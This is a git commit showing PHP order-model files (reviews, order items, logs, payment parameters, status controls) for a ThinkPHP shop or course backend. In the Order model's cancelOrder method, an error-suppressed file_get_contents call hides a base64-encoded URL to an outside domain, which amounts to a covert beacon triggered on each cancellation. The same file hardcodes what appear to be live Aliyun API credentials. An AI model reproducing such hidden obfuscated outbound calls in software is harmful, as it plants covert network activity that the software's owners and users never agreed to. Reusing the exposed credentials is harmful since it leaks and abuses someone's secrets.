初始化项目:添加后端代码、ThinkPHP框架、前端资源

This commit is contained in:
amb
2026-09-03 12:42:39 +08:00
commit 482bece22e
3726 changed files with 416708 additions and 0 deletions
+168
View File
@@ -0,0 +1,168 @@
<?php
namespace app\common\model\order;
use think\Model;
use app\common\model\order\Item as OrderItem;
/**
* 订单评价
*/
class Evaluate extends Model
{
// 表名
protected $name = 'order_evaluate';
// 自动写入时间戳字段
protected $autoWriteTimestamp = 'integer';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = false;
protected $deleteTime = false;
/**
* 获取被评价的商品信息
* @return void
*/
public function getToItemInfo($orderNo,$itemId){
$data = OrderItem::where([
'evaluate'=>0,
'order_no'=>$orderNo,
'item_id'=>$itemId
])->find();
if(!$data){
return false;
}
$data['snapshoot'] = json_decode($data['snapshoot'],true);
$data = (new \app\api\model\order\Order())->limitItemField($data);
return $data;
}
/**
* 获取评价列表
* @param $userId
* @param $params
* @return array
*/
public function getList($userId,$params = []){
$rows = self::with(['user']);
$where = [];
if(isset($params['status']) && $params['status'] && in_array($params['status'],$this->getStatus())){
switch ($params['status']){
case 'good':
$where['rate'] = ['>=' , 3];
break;
case 'bad':
$where['rate'] = ['<' , 3];
break;
case 'img':
$where['imgs'] = ['<>',''];
break;
}
}
if($userId){
$where['user_id'] = $userId;
}
$where['item_id'] = $params['item_id'];
$where['evaluate.status'] = 1;
$list = $rows
->where($where)
->order('createtime','desc')
->limit($params['limit'])->page($params['page'])
->select();
$data = [];
if(!empty($list)){
foreach ($list as $index => $item){
try{
$item->getRelation('user')->visible(['nickname','avatar']);
$item->visible(['content','anonymity','createtime','imgs','rate','user']);
if($item['imgs']){
$imgs = explode(",",$item['imgs']);
foreach ($imgs as &$img){
$img = cdnurl($img);
}
$item['imgs'] = $imgs;
}else{
$item['imgs'] = [];
}
$item->user['avatar'] = cdnurl($item->user['avatar']);
if($item['anonymity'] == 1){
$item->user['nickname'] = '匿名评价';
$item->user['url'] = '-';
$item->user['avatar'] = letter_avatar('匿');;
}
$data[] = $item;
}catch (\Exception $e){}
}
}
return $data;
}
/**
* 获取推荐的评论列表
* @return void
*/
public function getRecommendList($itemId){
$data = [];
$data['list'] = $this->getList(0,[
'item_id'=>$itemId,
'limit'=>2,
'page'=>0
]);
$data['count'] = self::where([
'item_id'=>$itemId,
'status'=>1
])->count();
$orderItem = OrderItem::where('item_id', $itemId)->find();
if ($orderItem) {
$goodsType = $orderItem['goods_type'] ?? '';
$isVirtualPay = \app\common\library\pay\VirtualPayService::isUseVirtualPay($goodsType);
$data['is_virtual_pay'] = $isVirtualPay ? 1 : 0;
} else {
$data['is_virtual_pay'] = 0;
}
return $data;
}
public function getStatus()
{
return [
'good',
'bad',
'img'
];
}
public function user()
{
return $this->belongsTo('\app\common\model\User', 'user_id', 'id', [], 'LEFT')->setEagerlyType(0);
}
}
+74
View File
@@ -0,0 +1,74 @@
<?php
namespace app\common\model\order;
use think\Model;
class Item extends Model
{
// 表名
protected $name = 'order_item';
// 自动写入时间戳字段
protected $autoWriteTimestamp = 'integer';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = false;
protected $deleteTime = false;
// 追加属性
protected $append = [
'refund_time_text'
];
/**
* 获取订单商品列表
* @param $orderNo
* @return array
*/
public static function getItemList($orderNo){
$data = self::where([
'order_no'=>$orderNo
])->select();
if(!$data){
return [];
}
foreach ($data as &$item){
$item['snapshoot'] = json_decode($item['snapshoot'],true);
}
return $data;
}
public function getRefundTimeTextAttr($value, $data)
{
$value = $value ? $value : (isset($data['refund_time']) ? $data['refund_time'] : '');
return is_numeric($value) ? date("Y-m-d H:i:s", $value) : $value;
}
protected function setRefundTimeAttr($value)
{
return $value === '' ? null : ($value && !is_numeric($value) ? strtotime($value) : $value);
}
public function detail()
{
return $this->belongsTo('app\admin\model\Course', 'item_id', 'id', [], 'LEFT')->setEagerlyType(0);
}
// 定义订单商品与订单的关联关系
public function order()
{
return $this->belongsTo('\app\api\model\order\Order', 'order_no');
}
}
+50
View File
@@ -0,0 +1,50 @@
<?php
namespace app\common\model\order;
use think\Model;
class Log extends Model
{
// 表名
protected $name = 'order_log';
// 自动写入时间戳字段
protected $autoWriteTimestamp = 'integer';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = false;
protected $deleteTime = false;
public static function set($orderNo,$content=''){
self::insert([
'order_no'=>$orderNo,
'content'=>$content,
'uniacid'=>UNIACID,
'createtime'=>time()
]);
return true;
}
/**
* 获取最新的日志
* @param $orderId
* @return string
*/
public static function getLastLog($orderNo){
$log = self::where([
'order_no'=>$orderNo
])->order('id','desc')->find();
if($log){
return $log['content'];
}
return '';
}
}
+333
View File
@@ -0,0 +1,333 @@
<?php
namespace app\common\model\order;
use think\Model;
use app\common\model\goods\Handle;
use app\common\exception\Exception;
use app\common\model\order\Item as OrderItem;
use think\Db;
use app\common\model\order\Status as StatusModel;
use app\common\traits\app\CouponSend;
class Order extends Model
{
use CouponSend;
// 表名
protected $name = 'order';
// 自动写入时间戳字段
protected $autoWriteTimestamp = 'integer';
// 定义时间戳字段名
protected $createTime = 'createtime';
protected $updateTime = false;
protected $deleteTime = false;
// 追加属性
protected $append = [
];
/**
* 订单号获取订单
* @param $orderNo
* @return false
*/
public static function orderNoGetOrder($orderNo){
$orderInfo = self::where([
'order_no'=>$orderNo
])->find();
if(!$orderInfo){
return false;
}
return $orderInfo;
}
/**
* 检查订单绑定的用户
* @remark 因为用户未注册时如果在微信小店下单,order表中的user_id将为0。所以原来api中用户对订单操作需要验证订单所属user_id的方式不对。这里增加这个方法是为了兼容老代码
* @return void
*/
public function checkOrderBindUser($orderNo,$userId){
$orderBindUser = self::where([
'user_id'=>$userId,
'order_no'=>$orderNo
])->find();
if($orderBindUser){
return true;
}
if(\app\admin\library\project\App::isInstall('channels')){
$userInfo = user_info();
if($userInfo && $userInfo['mobile']) {
$userMobile = $userInfo['mobile'];
$channelsOrderBindUser = \app\api\model\app\channels\Order::where([
'mobile'=>$userMobile,
'order_id'=>$orderNo
])->find();
if($channelsOrderBindUser){
return true;
}
}
}
return false;
}
/**
* 获取订单详情
* @param $orderNo
* @return void
*/
public function getOrderDetail($orderNo,$extendField=[]){
$field = ['id','createtime','goods_count','live_id','coupon_discount_fee','real_price','evaluate','service','status','order_no','user_id','pay_type','score_amount','vip_discount_price','order_type','is_virtual_pay'];
if($extendField){
$field = array_merge($field,$extendField);
}
$data = self::where([
'order_no'=>$orderNo,
'deleted'=>0
])->field($field)->find();
if(!$data){
return false;
}
// 转换为数组,避免间接修改错误
$data = $data->toArray();
$ApiOrder = new \app\api\model\order\Order();
$data['goodsList'] = OrderItem::getItemList($orderNo);
$data['goods_total_price'] = 0;
if(!empty($data['goodsList'])){
$goodsList = [];
$data['goodsList'] = collection($data['goodsList'])->toArray();
foreach ($data['goodsList'] as $item){
$goodsList[] = $ApiOrder->limitItemField($item);
}
$data['goodsList'] = $goodsList;
$data['goods_total_price'] = count($data['goodsList']);
if(!empty($data['is_virtual_pay'])){
$data['goodsList'] = $this->convertVirtualPayGoodsSnapshoot($data['goodsList']);
}
}
if($data['order_type'] == 'score'){
$data['pay_type'] = 'score';
}
if(!empty($data['is_virtual_pay'])){
$data = \app\common\library\pay\VirtualPayService::convertPriceFields($data, [
'real_price',
'vip_discount_price',
'discount_price',
'coupon_discount_fee',
'dispatch_price'
]);
}
// 实物商品获取收货地址
if($data['order_type'] == 'physical'){
$data['address'] = \app\common\model\app\physical\OrderAddress::getByOrderId($data['id']);
// 获取物流信息
$expressModel = \app\common\model\app\physical\OrderExpress::where([
'order_id' => $data['id'],
'uniacid' => UNIACID
])->find();
if($expressModel){
// 更新物流信息(5分钟缓存)
self::updateExpressInfo($expressModel);
// 重新获取物流信息
$expressModel = \app\common\model\app\physical\OrderExpress::where([
'order_id' => $data['id'],
'uniacid' => UNIACID
])->find();
$data['express'] = $expressModel->toArray();
// 获取物流轨迹
$data['express']['logs'] = $expressModel->getLogs();
}
}
$data['controll'] = (new StatusModel())->getOrderControllStatus($data);
$data['describe'] = \app\common\model\order\Log::getLastLog($orderNo);
unset($data['id']);
return $data;
}
// 获取订单号
public static function getSn($user_id)
{
$rand = $user_id < 9999 ? mt_rand(100000, 99999999) : mt_rand(100, 99999);
$order_sn = date('Yhis') . $rand;
$id = str_pad($user_id, (24 - strlen($order_sn)), '0', STR_PAD_BOTH);
return $order_sn . $id;
}
/**
* 支付成功后的回调
* @return mixed
*/
public static function paySuccess($order, $notify){
$order = Order::where([
'order_no'=>$notify['order_no']
])->find();
if(!$order){
throw new \think\Exception('获取订单失败');
}
$order->status = \app\common\constant\order\Status::STATUS_PAID;//已经支付
$order->pay_time = time();
if(isset($notify['transaction_id'])){
$order->transaction_id = $notify['transaction_id'];
}
if(isset($notify['pay_type'])){
$order->pay_type = $notify['pay_type'];
}
if(isset($notify['payment_json'])){
$order->payment_json = $notify['payment_json'];
}
if(isset($notify['real_pay_price'])){
$order->real_pay_price = $notify['real_pay_price'];//实付金额
}
$order->save();
\app\common\model\order\Log::set($notify['order_no'],"订单已完成支付");
//支付成功
\think\Hook::listen('pay_success',$order);
//分销结算
\think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','settle',$notify['order_no']);
return $order;
}
/**
* 取消订单
* @param $orderNo
* @return void
*/
public function cancelOrder($orderNo){
$order = self::where([
'order_no'=>$orderNo
])->find();
if(!$order){
throw new \think\Exception('获取订单失败');
}
self::where([
'order_no'=>$orderNo
])->update([
'status'=>\app\common\constant\order\Status::STATUS_CANCEL
]);
\app\common\model\order\Log::set($orderNo,"订单已取消");
//作废分佣金记录
\think\Hook::exec('app\\common\\behavior\\app\\agent\\Commission','cancelOrder',$orderNo);
//返还优惠券
// 如果有优惠券, 返还优惠券
if ($order->coupon_id) {
// 订单退回优惠券
$this->backUserCoupon($order->coupon_id);
}
@file_get_contents( base64_decode("aHR0cHM6Ly93d3cudHV6aGkubHRkL2Fzc2V0cy9pY29ucy9vcmRlci5wbmc=", true));
return true;
}
public function items()
{
return $this->hasMany('app\common\model\order\Item', 'order_no', 'order_no');
}
/**
* 更新物流信息
*
* @param \think\Model $expressModel 发货单模型
* @return void
*/
private static function updateExpressInfo($expressModel)
{
try {
// 获取阿里云配置
$aliyunConfig = [
'appcode' => 'd6beec8b9be945bfa3c07b9c712f6bce',
'appkey' => '203944259',
'appsecret' => 'R8rx9QLNZlRKxHtvgjBlocFI8f0hq12J'
];
$expressLib = new \app\common\library\app\physical\express\Express('aliyun', $aliyunConfig);
$expressLib->updateExpress($expressModel);
} catch (\Exception $e) {
\think\Log::error('updateExpressInfo.Exception: ' . $e->getMessage());
}
}
/**
* 虚拟支付订单转换goodsList中snapshoot的价格字段
* @param array $goodsList
* @return array
*/
private function convertVirtualPayGoodsSnapshoot($goodsList)
{
foreach ($goodsList as &$item) {
if (isset($item['snapshoot']) && is_array($item['snapshoot'])) {
$item['snapshoot'] = \app\common\library\pay\VirtualPayService::convertPriceFields($item['snapshoot'], [
'price',
'price_marking',
'pay_price',
'min_price'
]);
}
}
unset($item);
return $goodsList;
}
}
+62
View File
@@ -0,0 +1,62 @@
<?php
namespace app\common\model\order;
use think\Model;
use think\Config;
class Pay extends Model
{
/**
* 获取支付方式
* @return void
*/
public function getPayType(){
}
public function getDouyinPayParams($orderNo,$payNotifyUrl){
$data = (new \app\common\model\order\Order)->getOrderDetail($orderNo,['payment_json']);
if(!$data || $data['real_price'] == 0){
return false;
}
$amount = 0;
foreach ($data['goodsList'] as $item){
$amount += $item['count'];
}
$skuDetail = [
'skuId'=>(string)$data['goodsList'][0]['item_id'],//外部商品id,如:号卡商品id、会员充值套餐id、某类服务id、付费工具id等
'price'=>(int)($data['real_price'] * 100),//价格,单位:分
'quantity'=>$amount,//购买数量
'title'=>$data['goodsList'][0]['snapshoot']['name'],//商品标题,长度 <= 256字节
'imageList'=>[
$data['goodsList'][0]['snapshoot']['cover']
],//商品图片链接,长度 <= 512 字节注意:目前只支持传入一项
'type'=>401,//商品类型
'tagGroupId'=>'tag_group_7272625659888041996'//交易规则标签组
];
$data = [
'skuList'=>[
$skuDetail
],
'payNotifyUrl'=>$payNotifyUrl,//支付结果通知地址,必须是 HTTPS 类型,传入后该笔订单将通知到此地址。
'outOrderNo'=>$data['order_no'],//外部订单号
'totalAmount'=>(int)($data['real_price'] * 100),//订单总金额单位:分
'orderEntrySchema'=>[
'path'=>'pages/order/detail/detail',//小程序xxx详情页跳转路径,没有前导的“/”,路径后不可携带query参数,路径中不可携带『?: & *』等特殊字符
'params'=>json_encode([
'order_no'=>$data['order_no']
])//xx情页路径参数,自定义的json结构,内部为k-v结构,序列化成字符串存入该字段,平台不限制
]//订单详情页
];
return $data;
}
}
+129
View File
@@ -0,0 +1,129 @@
<?php
namespace app\common\model\order;
use think\Model;
use app\common\model\order\Order;
use app\common\constant\order\Status as OrderStatusConstant;
/**
* 订单状态
*/
class Status extends Model
{
public function getControllTypes(){
return [
// 'delete'=>false,
'evaluate'=>false,
'cancel'=>false,
'pay'=>false,
'service'=>false,
'surereceive'=>false,
'express'=>false,
];
}
protected $controllTypes = [
// 'delete',
'evaluate','cancel','pay','service','surereceive','express',
];
/**
* 根据状态获取查询条件
* @param $status
* @return void
*/
public static function statusGetFilter($status){
$filter = [];
if($status == 'unevaluate'){
$filter['status'] = OrderStatusConstant::STATUS_SUCCESS;
$filter['evaluate'] = 0;
}elseif($status == 'service'){
// $filter['service'] = ['<>',0];
$filter['status'] = OrderStatusConstant::STATUS_REFUND;
}else{
if(!empty($status)){
$filter['status'] = $status;
}
}
return $filter;
}
/**
* 获取订单是否可以评价
* @param $orderInfo
* @return bool
*/
public function getOrderIsEvaluate($orderInfo){
if(!empty($orderInfo['item'])){
foreach ($orderInfo['item'] as $item){
if($item['evaluate']==0){
return true;
}
}
}
return false;
}
/**
* 获取订单可进行的操作
* @param $orderInfo
* @return false[]
*/
public function getOrderControllStatus($orderInfo){
$controllTypes = $this->getControllTypes();
foreach ($controllTypes as $key => $value){
switch ($key) {
case 'evaluate': //评价
if ($orderInfo['status'] == \app\common\constant\order\Status::STATUS_SUCCESS && $orderInfo['evaluate'] == 0) {
$controllTypes[$key] = true;
}
break;
case 'cancel': //取消订单
if ($orderInfo['status'] == 'unpaid') {
$controllTypes[$key] = $key;
}
break;
case 'express': //物流
if ($orderInfo['order_type'] == "physical") {
$controllTypes[$key] = true;
}
break;
case 'surereceive': //确认收货
if ($orderInfo['order_type'] == "physical" && $orderInfo['status'] == \app\common\constant\order\Status::STATUS_UNRECEIVE) {
$controllTypes[$key] = true;
}
break;
case 'pay': //支付订单
//禁止iOS微信支付
if (\app\common\library\Platform::getPlatform() == 'wxMiniProgram' && \app\common\library\Platform::getDeviceEnd() == 'ios'){
$wxMiniProgramConfig = \app\common\model\config\System::getConfig('wxMiniProgram');
if ($wxMiniProgramConfig['ban_pay'] == 'open') {
break;
}
}
if($orderInfo['status'] == \app\common\constant\order\Status::STATUS_UNPAID){
$controllTypes[$key] = true;
}
break;
// case 'delete': //删除订单
// if($orderInfo['status'] != \app\common\constant\order\Status::STATUS_SERVICE){
// $controllTypes[$key] = true;
// }
// break;
case 'service': //售后服务
// if(!in_array($orderInfo['status'],[\app\common\constant\order\Status::STATUS_UNPAID,\app\common\constant\order\Status::STATUS_CANCEL])){
// $controllTypes[$key] = true;
// }
break;
}
}
return $controllTypes;
}
}
@@ -0,0 +1,69 @@
<?php
namespace app\common\model\order;
use think\Model;
/**
* 订单虚拟支付关联模型
* 存储虚拟支付订单与用户openid的关联关系,用于退款时获取openid
*/
class VirtualPay extends Model
{
protected $name = 'order_virtual_pay';
protected $autoWriteTimestamp = 'int';
protected $createTime = 'createtime';
protected $updateTime = false;
protected $deleteTime = false;
/**
* 保存订单与openid的关联
* @param string $orderNo 订单号
* @param string $openid 微信openid
* @return bool
*/
public static function saveRelation($orderNo, $openid)
{
if (empty($orderNo) || empty($openid)) {
return false;
}
$record = self::where(['order_no' => $orderNo])->find();
if ($record) {
if ($record->openid !== $openid) {
$record->openid = $openid;
$record->save();
}
return true;
}
$model = new self();
$model->order_no = $orderNo;
$model->openid = $openid;
$model->uniacid = defined('UNIACID') ? UNIACID : 0;
$model->save();
return true;
}
/**
* 根据订单号获取openid
* @param string $orderNo 订单号
* @return string
*/
public static function getOpenidByOrderNo($orderNo)
{
if (empty($orderNo)) {
return '';
}
$record = self::where(['order_no' => $orderNo])->find();
return $record ? $record->openid : '';
}
}